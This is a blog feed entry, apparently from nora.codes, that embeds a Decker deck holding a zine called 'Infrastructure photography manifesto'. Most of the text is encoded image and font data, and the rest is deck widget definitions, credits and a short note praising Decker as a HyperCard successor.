/Cn//z+pAAAP7633/8m37u7tst7b222ztZuM22zm7ZptNbOuW7NMnc27v//vf272/9vvfb99u2ZkkfDk////3+yid/3c4AAAAG/n//95f/tu7b9zt3dtvbt59zNbOmzNk207M9lNs6Z3Zn/////22//++//t3c2zOyS0M///D//yCD7978wAAAAD/+7/1k9tszbt73dtts3Ozlns00szZbbLbN03dLt7s33f//7ft77/7/r/f+b1sbJJuRM//693UcIb926RIAAAAPn///S99t3btr3du7b2dbbOTrXZmzZsus3VzNvMzM2bb////+3u3/tu3/p7tkzMknkc//+/fUSQD/9+0AAAAAD3ff+5t77d23e27bbbN7c1ttsstszZmya3NvbOZrd97u///b9+e////f//m23JN5LQSP//ftTAEQO72yQAAAAA5//++l/rZm3d7rvd29m523OzayZmzbN1su4zMzu1tm2///+t098/9vd/9+3ZMmTMvAb///7yGEAP8/+BAAAAAPn//+5t3bu223ved2zeztrNNNtpszJk2V7JzfXabae3f//+7923+/u93/y29kmfZC4Q///6tAAQC//9kAAAABH+//99v3e7tu7bd9tvZvbNvd2U2zm2zptTP30tz9t5tZ///tvtvf797f//m7bMk/NaA////TGEEAv6YyCAAACf+3///bf6zNs7t7Xbs3s2dzLNtpbMzTOm2eWzznTbXt3v/vt+7u933f83t23psmyYV8n///fiQwgP//sCAAACD9t//b59rvdt7e29bP2b27TbMmtk1mm07M5ZnnO3Ntbbf//vZ7tv/fbb/f3n7TMvzLeB////uIgCB/9+wBBACD/mz//7X/s2bbdu739N7NutzfeZbTM2nTM23mbdue23bl///b37ef5u/s/vu7bMkmKfh/////SAAAf9dikEEmG/vbv+/3bd2bbdu7PT9m9s7zZM1zNtlmdbZaf5tm7bbbff/7/fb99nu797f9vy9NaybbP////WUIAD//8iYYkAf/s3+32/52+227be3rezbzL222zazNmyzNkxH27O23u07//+9/3m3ZP39t9+3Tdljb7L///6bFAAAP6/SBgAAfPu3fm+zb7qzbbe+3u53bPezbMrTLNmmrab3uXLs22a3z//97b/PbTd3bf3993JPWTeb////0XBAAj175mAEIc//9vs+337mnbt2y3Nz3bc2bmts2czMs2zZma7O3227tnf//3u2/c3bf/dff2ye85bXX/////0AAAhff/iBMA8n/dv9l13bbebO23vdn2232827NyzTM1lLW2zTu1Ntu223///e7/Zyabud99vbpZ7m+d9f////iBDID3/5MQP/t/e79tW3921s2a223vm22dm1ttNmdttNsyZnXTd9ts3bu//+92/e3r7u+7nv2mxPbe/33///w+hEAAH//9//3tk/7f5NrnW2WzdttubO225uts282yzM5rTtmW3Zptt22s//972b+7W2/87vPbbbcxv+8+f//+DxEggAH/////7b7c3/K2ve07Nmdts7u223ttt5pzOpMzLNmbbKzu7bdu73///u9/71p7V3/t/skp/Ltv//////vzIAAAD////t5uf3baZ/u1ys25tt23d22bdtttnM22zbM2ZmuzabbZs3O//++23+3nn/d3bm2Sa+7/V//////8yIgAAAP///9z57P7yRlu22zZm5tt3d227Zts5821bNmbZtmad19bbt2c//979v/2tfbtv/P7ds77N9P///////iSAAAAW//7v33+23UPftpnNmZttm22223tt7pzNkkyZMmbt5zVa27d73//3vtv/tx/P+7ffsmz+Z2/v/////dtRAAAAAHv/+993f20Y9tmmabZ7be27tt2bbZttsu3Zt27ZmTntbrZtnP//vf///tnvfb7+c6bN7zv7f7////9yWQAAAAEP/3tttd9ogz7bbTZmzNtttt227bb1szZtM2TJm2etNubm2ue//+93b//tt2+vzb7pM3nJ/v/P////vogAAAAADf/f/73/mgDvbMmVmbe2223bbu221t7Zk2ZbNmZs55ubW7b7bf/73fP/Ztm2+3uv237ebW+//f///5pmQAAAAAH/mNzvPtIAubay0s0yttttbts221tkztpZm2bZmzrqeZttm2f+3vue/3pu29/ubdrb9rd77/3///tuERAAAAEB//53e89MIj+zNlpmztttt223223tt2ptm2TZm3Oabs7s222///fu///brM9m7b52/b2S/u9/////6xkAAAAAAf/bN1pvIQjOzU1NMtnNttu3bNtttttrJaZtm2ZM55m27tbtv/9t72W9zOc9/7bb97ft2qf/X////+pIAAABIAP925s/t5JE+3XJZZs2dbba229ttnbatdpsmyZt3Wz3dTN2ttv/33m3/3ZZt1v2353+/mm5/+3////0hEAAGAAD/+zZvZ2SdjdWMzJpZzbbbtuzbbfNtt1bW7LtmTNbTVvdm1tv/dufm2/bWZtu3bbt37etTn/t/////CQSAEIAF/7/TP7tQRvckJmazZnO22223bbZu23LZZJsmbbO03XOZu3bbf967u3y2aZtv//+6325tWff/f////kSIIkABP3/+bZ/s2zZ2IiEyTTa2223bd223u7bOtztm2Zm2ba2tbs1tt/77utvnqa2TbPu35vvzma5vf7////yQkSAICH9/fsz39og1mYCJGcmZnNttttm22bbtu2bNtNtmTZszvWZ1mbX7rW/c/W62ZNO+/fm+3uamr34f///5kkSFACDf/3dzN96kjTgAAEQ2zWdttu2+229tu23a5Zsmbdmzdme5tvbb/23Z57ZS202+399u7/s32be9j///9EkiEAATv/P/t799JElmAAADJGZ2zbbbZttt227cuz5rbJk2bM3at5s23+37d3vu21vb62d323ttmW1f/Sf///IIiAABR//83+zJfZJaUAAACE2bmbbbd3tttttts63TtNu2zZs5mtZtzaf+u2+beak203m7/f/f7M9ke//H///zggAASB73///z+h9ZEtAAAAATMa92222bbbbtt27m3NcyZtmzpu9b5nt797e+7d0sz7f23b98/7Nlk2+/8///3WkiQgL5v///33afZSSIAAAABMzk22277bbbPdttuzdbbZkyZO5p7JubW93dt/fnZm2t/mfv37//ObJ//fv////vaRiH7e//b95wb6bJIAAAACVuXa29tm3e7+d7t23rbM23Zt05vre55bf9/u22/Nmf7/s6e/bb2d7M3/+//////9gA/vjv7t732T76QAAAAAADI1Nttt3eczm9rPbdrOeyZM2Tl6azbm2vb27vf7ubMvb/29623vbTbe7e////////9/6zn+7fu8yTmTJAAAAAArM2dtvbs73e3b+btveabs2ZbNT5zM2a7+v7s9vuZk6f/t2/uze2bXNv//////////+/8D+/78vkyfaAEAAAAADMzZttbu+t1vdz7bbbe5mzNm1tn37zdpu+37zs3bTTc//26c3tuzWZv/9/////////6+A3fzdktyR8yQAAAAAEWbNtt2257nc23n3bbM3mbM2TK2azNs3n9//vt3ebNW//vt52TM3WzP8/f///////f//IP9/357tkt2AAAAAAAWZs5tu3bnO53u3Wbbe2ds2zdut5rZyzP3X+8/d+yk29/+9zm3N22nd9+/////////7+4B3235ndwLskAAAAAgMtm5ts9tudr9u7t7bbd5mzNky0z23nutvff77Zm2zKn/97bOmbG231///////////f38Ef/n/WbbI7kAAAAACAstJ7b1u27ezttu3e21nObM2zl7babM7L+////vs1svf927ZsjM23bbvv///////////kO9+307aIXsAAAAAECM5tzbPbbbZ3Pe97c7bec02zO3k005tlO37/+/fs1zd///7zNublttp///////////72sB93n+jewT9gAAAAAANZrXbe7dt3m/dtm27tt72zNszPb222fef////9vZtNX//327YzNmuzf//////////fv6Ae+fv6SzE/EgAAAAiE0zNbdr222ezbdv3e222mutm2sts855M/+3//7/Zv+//933zZiZmbbZ/7///7/7//+9tgDu/L5P8M25AgAAACEzbbbbe27t53bt/Pc3bs7M7NZrbZ1zm8y//////77bbv///nbszJZmT///////9///t/Egee97S1wkCEgAAAIBNszO2522u3nbbpe29tt23VtlttttXc57P/v///fj/tv/9//ayyZm2zfv7////////975ADszf7O9AkIAAAAAhMyzabbm99te27v7bbu3dbNXPZzW69Z1p////////be///33ynNzSZmV7/f//7/f+//v9kAd/tzmpNAAkgAAECTbNz9tvtlt1u7bbt3NvZ229NtrbLq22bz//////7/97b/vfbMd2TsnTf9///7/5/9/+7AADu/2afyABGiAAEYTM8zTbbO/tvc7d2329s3uba/K6zuuubbTP//////u73///++1zaSmdme/+////////v77AAO2ezN7IJE7JISRm2zb3bbe5t65223dtrt2a81pPp3W689m3b/97//t+7v2//7/2Wfs2ZmT/7t/7//f7/+/2EAB/52U3AAn/WSzJEGucm2223trrt27t7ut29rbXeXVZtp2e23////7/3/+/b///dsz60kln///f///+///+7QCAHv1zfYBPv9bbWpMs582222bu27m2vtu7bt2tta2dzt3s5tmdv///7ffZ+3v///+23JszObPfn///b////u1AAA7Tm52AN/2222bInbl1ttt7O3bO99u7bbtt222t6zbXa3tu1/3e/79/992f//7bs3cslMn/+///f////z/ckACPWvz2QL/EYyakSCdudtu22+229tlvbt23bnbbczr3dZtba3b3//3/3/72zf/7/um9ZkS6f6P/+b+//9/9+pJCTbJnb5A+EQgkmSImZ5tu7bbtuzdvufb23bOmtl7W2b321ttrvu/////Pumd+3+/s/ZsrLtvl//9/7/////7pM3W9O2mgAAAACRKQE7ntu222ts3Zuu+dttu9u63W3Z7Obbbcz/u7/v/v++829/7/837Zo13983////v/7/f/7Tzc7Pt/4EEAAABCQEm7Ntt227b23tu2+9u2zdnbc2tm87ttt7bf+3v3///1mf2/n9t6bkzdP7v/3//6/+/+//nN//j+nnQEAAACCEgEztttnttttudu3e57bfZucztu+z2u2223/W3fvv//v89v+/fs/yZCn//b////7//n/7///+df/7eQAAAAAAEABvTbt/Nt22257dttzu03ts3NtZvN5ttsy3/dv+///+52/v79s72zs2bfyb////7//+X/////fP/9+RAAAAAAIAGfbPZt7bbbbrd3d/a32bW89rdt9nttt3/29u37///727vvr/JtmZl+3+5//7/t/9//////b2//nmQAAAAAAIAk629bvrbtttu23Zy73O7dszba7Tebbbd///v/f///39/ue/NM2kzPm3n/P7///3998b///+O+f77YQgAAAAAAAm2z27O2222227b7rne7bs/N27/b7bbZn//vf93///f2+7/f6btmZs/85j/93////v/77//7vv/t2RAAAAAAIAm23Ozd3bbbbdtuz3e222r5u22y+m223u3//d33//++/7m2/bNsk3dz/e4+/3/+/7b83+//797//2QAQAAAAIAhtt8/3Xdttttt27XZ227bNms23y+222bvu3//f///77v+f7/c/pGZknn/H//v///dP/X//+3P//NySQAQAAAAhm2z02dt22227bb9vm223c9t223tttt7P//2/9///2vv983v17tMr+3+/397++fb3eY////37n//mAAAAAACAAnbbP29u3bbbbbtm2e927b5tttu9tttm9f//33///uaf/2///b9Zuds/f5+//3/f/44r7f/3t9b7uWkEEAAACRJm28tttttttt2227d1ntutttt25tttuze/+3fu//+95v+9v+797M9k/3+//93/Xf/fp2////fH+80IQEAAAgBFm237tvdu23223btu3fN27bbbb3t7bbvb9//9u//96Xu/7//797Z37f7e//z+v////bf/+/tr6f/yxgkAAAAkJPttNttZ7dvNtttt27bfbbbbbe2fbbbM2P/9v///929bf/t//3r32bN+/9v/+7//7/1n3vf/66P95rCAAAAIBZMtt93bb7du9ttu3b222bt222229d2292+//9tP///Z3d/d3+3bf2/Wv39f//3+/v/8e1//9O2Yv22SIAAAIJBNttrbbu7bbbdtttbm227bW222292223d7//7++3/+9uZ/92/77d9udb9/znf+//9//zu/3//30nvzZIIAAIQuTNbbbu27e7dtttm23u9u3dvtt3tu7t9Z3d/7tr///7c7b/7v3u3/me1++2zb/n//fv/+/f/7/tZeu+kQAAARImbbbba3baz227bfbbc527buu92u62t132d///3N//v9+b/7s/e+fucp379v+//Z//+/+8+//Pmxn72yQAAEQNmba27btt3vm7rbZm217ttuu7Z27b27bbb7///bf/2+3sy//1v/87979v387dv/7/7/7/9+7//NzD/99IgAEQpdmW2ze223e/tu23m23bbt27bd7t23vdu7nb/+9/f/b3e2z//b///v2tS/9mec//77/f/9++//flmP//kiAIEjZmedvc3bbZzO922fttt3Pbbd77u22ud27fb/2+3/9/n9/3v+7v/+/vZtf++Xnvv38f9nv+9///Ocy3b5AAgkEb+28229u9v3fbXt5ttu2+bt2zrbe9u+3u1u/3+7fv2+323//7f///f963/vC52//fT7P77t3//7JmTf9pECAMy5mS7bduz2f3fdtnltttre227u3c53a7O/bb2n79/973f7t/93///9/3i/90t5d/v1v7d3/9//va226T7EQJIkDm3M227fN83bd3edrbdu23bt7ed73d2/Z72/vfb/93u83v79zf///3dOv7+RDl///f7/d/e///8o2y3/2BAks07M9227c9373t3Z5tptu3dvtzc+7bbd7dzq+t97v99+7////7v////d0s/vxY5/7+75m//+/v/e2k2cv/MEmZhDMzNt2272e3btvm5z2bdtubvd+7du922/2+9n2//73+s//f7u///+/7Z/++QH////t/v53/f//tz05r/96ZJMmbbNtne7O89ttucznZ7du7bs92297bbe639/v/5//v+6////Zvf//67tt7HyY//++/e/9/N9//e9E2t//3tuZgzM3bfc2+99797Z2czm27be37bd7bu7t7tt3f/t/3+//v///7u///trr7378BPf+/n/t/9923/77W+7f//eabNGa3NZ29zZ3bpzbs5zO2bd23Nu127bz3nvt/d/+//3//f///7b7f/7W7P/8+cT/53Z3+/5+77//0957d/+9pucUzMubnd332fv726232t922292/2z3X3fbPd/3/7f/d////771n//7Nbe/+bhCf/9/7//3/vu//0//nb+2/bW7Znc67e3d3d+e22zdZGszW7trb23v29253/fzf/v999//////3e2//8m5u/56Qn//f//t/79z3+3grPbu/9tZbaszZmZvd2129t23Vt81zdtt3bnbO27m33W3v9/+3/7/////+3t7//9qb1//fuE///99+73Z+3//pO97f8nuTt2prN27t3u73vfm2erT1n223bbfd/d7Pvdu7e33//f/v////+/vd///s39f/7+RL3/ff/v/37v/88tl3d29NubWbM2ZrbnO9uudPt47OVtm7bbu1t3d2/O2+99/ff29/e/////+/d/v/tSZvf7nhEef//e/c/39v9zydvb3ZtmzO9dzZubP/t8//fdn169pm22zM3bue7bfbt9229//7/9//////7f/+/9c/u//8yE13//279nv9v//MpO+vtjNObs1Onabfnfb9W/Zudzsrvt23d27O+7vbdvW/vrb9n//3/7//+3/f9/9yzZu//wMO+//s9vu/vZ//cqJ67uTJczN7c7b+2fde73uft5mZusm221Mze23e3t9vbPu7v/f/v//v2//b9/3/zt5m//csnv///9n97n/f/7iY2t+ZmJG9s5zmk257+7vu+dnd5tZ3Ztu83bffd3bt7vfvS37//+//f/t//v/v//kzm/3+hI////+5ffP/3/+twZt90yaMzaznOe23zu923+9uZn51tnts58zc27ntu7u/fdn/v//////v/u+//v83b7N3+5BX///f7P4/l3f/9mbtr2TAYzfvO289t39t3/W+97uTm5ubbzZzZ3rvv/b77d62/+//2///fe+/79//1t/N/v/AAH///+yfi+Xf//6Ztq6sWQJu2drM1tv33+0/8527fc5s7bOZnzmv/vNfXt+2pv7/////3//7/v/7//u27Pv+IQB///+Q/bPp//3vk5vToySQm7bW29t63Pa/7t97Zs117bbc7uTO7Vvfe972/bt/v/737v/3/vu3//+++7P//kmT////xHZm+zf9O+Ttf2mkhb9u3bZtz9+/9vv97t222Zt23bM21nd3fe7zvf9N/////7u//3e/3/f/78+bf/5R/////8zyHt7v9/7J/cPYSSRt+223tv337d+/b7bbds7zW2c3WzOb92+9v+9ub7////73/+/9/239v3t1zf/+Fs9///9o6x3vb/m92ZbZ1kkD35trbNu3ff977fvbbtt2ttt5zMm5up3z7+27+/v///vfnN///3u37//d3eX//I8hP//9wmn37d//+2T25eWkSfb2229/f7937v/efbbbd222zns8zWb/vnt+/t+ff/f/fe/+2/bu2/r/5stvz/ylkT/v93MRuf/f//vnuyT5MgW/9t2zp2zv3b+79++3bZnbbbbLZmZd5u/fc9+////f9/dre//9v27//3szkv+8fQCf7/8kRP7+9/vuua3b+kqT7Z9nvP37+//973+67bbu2221tNs7sz379993////e37/u/////2t7f9Nttb/+d/Gf///6eJm7P/u+5n+Un+Zkv95vO/fv97u9//9/7u27u223bczma73Xu39/f/9/b3/37fvbtr3s3v+1s3vf/DyMj2v/9sDPzdv/z3/303+9m+377/bbe9/u//+993bfzs222tNrMzNn/e/b793//7Pv//f//v7vtv7/7MLqf/2zIgHf//YMZ/md/X9bv2t//ft/Ptm3b37+//fe//3fdnt2226cs1mc2z99vvr//t7ev+//73f7+7N732Ns/r//BUgL+//sDbOcNv+n7v+s3//vd+d+3f3f//////vf+fft229t7ZzNzb3r3++/u///3/e97f/ffz/N3/+bZda370RIA/v/7QXbORzitfbdtN///d39z/+f99vvv3v//u+dt3322WZmtmZn7vN77f7/ve2f///9++3u/f9/zZJ3b/xYcgH3//ZFz1hNskz7Nts///f/fvVrdv9//v////u+/33XO98zazM7Wn+/3v9v//9/f/f///7/+6b/+2X62X/4ABMd33/aCefAOJhD/brZv//228897/+9/////+//9+3e/e222ZnNqdvb7fe3/f//2++/f/9/2t+7v/8yaZsX/AARB/v/yQv+8SZJEPTNsM///3757727//+//f//7/2/56/e7c7WbMy2+399/b////6+////93722//9ys8m37QAEJXP/6QD+3kFpgB+fO5l/+3nv+337v//////f/+/9v36d7syZrN2ra/b32/vf//22/3///33vtf7v0m25M7wAAAP2X/kDMtMFbAkO3Zhl//7ve69vv/v////9////3+/f/229zmbM629/vf7f///33+3////vc237/7ktZ03uAAAT9X/YAcB8IYZhBsfsNL//v97t7u3//////////3779237ZmbTMzzd2+9v9+//vm2//3v/v93bv/2ts17N2AAAF/s70gBIZs2zFEA3bZt//fb3vbv/v///////////3v3/ntszObbHt/77+3/////v9v/f//78t//vZlrbs3wAAQP++YBDIaJJYYQAA3IJf/5fvff/d/////////////+/tvbZmazM23s3vv/f//7bu2+///9vp73//9pMrybJAAAjBMviAyApZkzhAAAAZ7//2+9e3f9///////////+/7v/7ttzOa3rO/e+29///vt/t/2//+71P//7btT/vmAACAo/bgyPCzNSaeRAABBjP/f57c/ff////////////+//bb7ZmczMu/997/////bd3v3//7979+//7pLN3s+AAEAKr8uQCQ91Uq35AAAAW//9t3e9//f/////////////7//3ZszOd5zN33227//9t/ff/t//3mzf//20q31vAAEBIL/bjACHndi2GQAACRb//3/e927///////////////723bpmc5lnf/f3/7///f9/93//f/e7d//1Zyv/NgABiAGx36Rglu35k4RAAABnP/fbu3f7//////////////3/3/urOzTve/b9v3v///dv273//9+5u2//1lnU/s7DhMiQt/fAY85/LEjkkAASLd/9vu+dv9//////////////+/2+7cmdM5q3v+/ff//9/f/vv///7t277/OaVnzbgzJgAmd32IDvW62s2wAAEK/f7235/////////////////9//7Zlty9rvve799+//7t9u+/////bW3/7symt9NiTAg0lj/+6m/NuZJn9gASTTv/v/X2tv////////////////dv92tmpube97337///v7+7rf7//fdtffu22ZvTYDAIFF6frmJ7C/XmNv+kEjP+/2193v//////////////////+31pM2p7b733v73///b7/v////+2299ts1Nv7PBQIAca/8/5F4HebZM/4SyS//9vz2vN3//////////////37v/bt51bm3vvf/v////f3s3b////+5r//23m7a3gUAAMWz/r/NfU3xhNu/7t5779u7t7f3///////////////3/u+tzlnObe+9t+9////ff3f/7f301u9pv9vbuyYDEACQuP+/Z/kH/XLJv///m+/rb+3bP//////////////3//v79mbOc9577/373///99vbf////957//t//uysAhAASYj///D6BO3bpN/3/b3z7f1+bu9///////////3e/9+/ftu5szZz3vtvfv///v377f/37u1rnt7/7u22sADAgEUi7f7zvmWe2bLf//9tv/e32+37////////77/f997999/7mzWZv+2//9/w==&#34;&#xA;{widgets}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[160,45],&#34;pos&#34;:[339,28],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:&#34;thank you for reading my zine. go take some pictures. made by nora tindall with decker and a used digital camera.&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[160,37],&#34;pos&#34;:[340,78],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:&#34;thanks also to Millie Millennium of milliesquilly.com for reviving my interest in Decker as a medium.&#34;}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[171,14],&#34;pos&#34;:[331,121],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;value&#34;:{&#34;text&#34;:[&#34;check out my webbed site: &#34;,&#34;nora.codes&#34;],&#34;font&#34;:[&#34;&#34;,&#34;&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;https://nora.codes&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;card10.0&#34;,&#34;text&#34;:&#34;First &lt;-&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{script:card10.0}&#xA;on click do&#xA;  go[&#34;First&#34; &#34;SlideUp&#34;]&#xA;end&#xA;{end}&#xA;&#xA;&#xA;&#xA;&lt;/script&gt;&#xA;&lt;a id=&#34;target&#34; style=&#34;display:none&#34;&gt;&lt;/a&gt;&#xA;&lt;img id=&#34;loader&#34; style=&#34;display:none&#34;&gt;&#xA;&lt;input id=&#34;source&#34; type=&#34;file&#34; style=&#34;display:none&#34;&gt;&#xA;&lt;canvas id=&#34;render&#34; style=&#34;display:none&#34;t &gt;&lt;/canvas&gt;&#xA;&lt;canvas id=&#34;lrender&#34; style=&#34;display:none&#34;&gt;&lt;/canvas&gt;&#xA;&lt;canvas id=&#34;rrender&#34; style=&#34;display:none&#34;&gt;&lt;/canvas&gt;&#xA;&lt;canvas width=&#34;0&#34; height=&#34;0&#34; id=&#34;ltools&#34;&gt;&lt;/canvas&gt;&#xA;&lt;div class=&#34;decker-container&#34;&gt;&#xA;    &lt;canvas class=&#34;decker-display&#34; id=&#34;display&#34;&gt;&lt;/canvas&gt;&#xA;&lt;/div&gt;&#xA;&lt;canvas width=&#34;0&#34; height=&#34;0&#34; id=&#34;rtools&#34;&gt;&lt;/canvas&gt;&#xA;&#xA;&lt;script src=&#34;./code/decker-itself/lil.js&#34;&gt; &lt;/script&gt;&#xA;&lt;script src=&#34;./code/decker-itself/decker.js&#34;&gt; &lt;/script&gt;&#xA;&#xA;&lt;p&gt;And now for the nerd shit.&#xA;&lt;a href=&#34;http://beyondloom.com/decker/&#34;&gt;Decker&lt;/a&gt; is really cool. It carries on the legacy of HyperCard, one of&#xA;the first real hypertext media systems; it&amp;rsquo;s got that dithered, lo-fi, retro&#xA;flair that I adore; and it runs in a lot of places - anywhere with SDL, and&#xA;anywhere with a full-fledged browser.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Hey look, I made a zine in Decker! You can read it right here, or&#xA;download &lt;a href=&#34;./code/decks/infrastructure%20exp04.deck&#34;&gt;the deck file&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;script language=&#34;decker&#34;&gt;&#xA;{deck}&#xA;version:1&#xA;card:0&#xA;size:[512,342]&#xA;locked:1&#xA;name:&#34;Infrastructure photography manifesto&#34;&#xA;author:&#34;Nora Tindall&#34;&#xA;&#xA;{fonts}&#xA;lucx13:&#34;%%FNT0Bw0ABwAAAAAAAAAAAAAAAAAHAAAwMDAwMCAAMDAAAAcAKCgoAAAAAAAAAAAABwAASEj8SEj8SEhIAAAHABA4VFAwGBQUVDgQAAcAAGCSlGgQLFKSDAAABwAAMEhIMGSUiIh0AAAHABgYMAAAAAAAAAAAAAcADBAQICAgICAQEAwABwBgEBAICAgICBAQYAAHAAAQVChUEAAAAAAAAAcAAAAQEBD+EBAQAAAABwAAAAAAAAAAABgYMAAHAAAAAAAAfAAAAAAAAAcAAAAAAAAAAAAwMAAABwAEBAgIEBAQICBAQAAHAAA4RERERERERDgAAAcAABAwUBAQEBAQEAAABwAAOEQEBAgQIEB8AAAHAAA4RAQEGAQERDgAAAcAAAgYKEiI/AgICAAABwAAfEBAeAQEBEQ4AAAHAAA4REBAeERERDgAAAcAAHwEBAgQECAgIAAABwAAOERERDhEREQ4AAAHAAA4REREPAQERDgAAAcAAAAAMDAAAAAwMAAABwAAAAAwMAAAADAwYAAHAAAACBAgQCAQCAAAAAcAAAAAAPwA/AAAAAAABwAAACAQCAQIECAAAAAHAAB4BAQEOCAAICAAAAcAADhEnKSkrJJAOAAABwAAMDBISEj8hISEAAAHAAB4REREeERERHgAAAcAABwkQEBAQEAgHAAABwAAcEhEREREREhwAAAHAAB8QEBAeEBAQHwAAAcAADwgICA8ICAgIAAABwAAHCRAQEBERCQcAAAHAABEREREfEREREQAAAcAAHwQEBAQEBAQfAAABwAAfBAQEBAQEBDgAAAHAACEiJCg4JCIhIQAAAcAACAgICAgICAgPAAABwAAhMzMtLS0hISEAAAHAABEZGRUVExMREQAAAcAADBIhISEhIRIMAAABwAAeERERER4QEBAAAAHAAAwSISEhISESDAYDAcAAHhERER4SERERAAABwAAPEBAYDgMBAR4AAAHAAD+EBAQEBAQEBAAAAcAAEREREREREREOAAABwAAhISEhEhISDAwAAAHAACCkpKSqmxEREQAAAcAAEREKCgQKChERAAABwAAREREKCgQEBAQAAAHAAB8BAgIECAgQHwAAAcAHBAQEBAQEBAQEBwABwBAQCAgEBAQCAgEBAAHAHAQEBAQEBAQEBBwAAcAABAQKChERAAAAAAABwAAAAAAAAAAAAAA/gAHABgwMAAAAAAAAAAAAAcAAAAAOEQEPEREOgAABwBAQEBYZERERER4AAAHAAAAABwgQEBAIBwAAAcABAQEPERERERMNAAABwAAAAA4RER8QEQ4AAAHABwgIHwgICAgICAAAAcAAAAAPEREREw0BAQ4BwBAQEBYZEREREREAAAHABAQAHAQEBAQEBAAAAcACAgAeAgICAgICAhwBwCAgICIkKDgkIiEAAAHAHAQEBAQEBAQEBAAAAcAAAAApNqSkpKSkgAABwAAAABYZEREREREAAAHAAAAADhERERERDgAAAcAAAAAWGREREREeEBABwAAAAA8REREREw0BAQHAAAAACwwICAgICAAAAcAAAAAPEBAOAQEeAAABwAAICB8ICAgICAcAAAHAAAAAERERERETDQAAAcAAAAAREREKCgQEAAABwAAAACCkpKqREREAAAHAAAAAEREKBAoREQAAAcAAAAAREREKCgQECBgBwAAAAB8BAgQIEB8AAAHAAwQEBAIMAgQEBAMAAcAEBAQEBAQEBAQEBAABwBgEBAQIBggEBAQYAAHADRYAAAAAAAAAAAAAAcAAAAAAAAAAABsbAAA&#34;&#xA;olympiad_title:&#34;%%FNT0EigBEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAGAAAGAAAGAAAGAAAGAAAGAAAAAAAAAAAAAAAGAAAPAAAPAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADhwAHz4AHz4AHz4ADhwADhwABAgABAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPAAPPAAPPAAPPAAMMAAMMAAMMAAMMAD//gD//gD//gAYYAAYYAAYYAAYYAH//AH//AH//AAwwAAwwAAwwAAwwADzwADzwADzwADzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAwAAAwAAAwAAD8AAP/AAezgA8xwA8zwA8zwAexgAfwAAPwAAHwAAD4AAB8AAA+AAA/AAA/gAA3gAY3wA8zwA8zwA4zwAc3gAP/gAD+AAAwAAAwAAAwAAAwAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAHAAAeAAB+AD/8APw8AOx4Acx4AczwAczwAd3gAfngAPPAAAPAAAeAAAeOAA8/AA87AB5zAB5zADxzADx3AHh+AHg8APAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAfwAA9wAA44AB44AB44AB44AA4wAA9wAAfgAAPAAAPAAAfPwA/vwB7jgB5zADx2ADw+ADw8ADwcADw+QB5/wB/3wAfDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AAB4AAA4AAAwAAAwAAAgAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAA4AAAwAABwAADgAADgAAHAAAHAAAHAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAHAAAHAAAHAAADgAADgAABwAAAwAAA4AAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAcAAAMAAAOAAAHAAAHAAADgAADgAADgAABwAABwAABwAABwAABwAABwAABwAABwAADgAADgAADgAAHAAAHAAAOAAAMAAAcAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGDAAPHgAPHgAHvAAB8AAc5wA//4A//4Ac5wAB8AAHvAAPHgAPHgAGDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAOAAAOAAAOAAAOAAAOAAP/+AP/+AP/+AAOAAAOAAAOAAAOAAAOAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA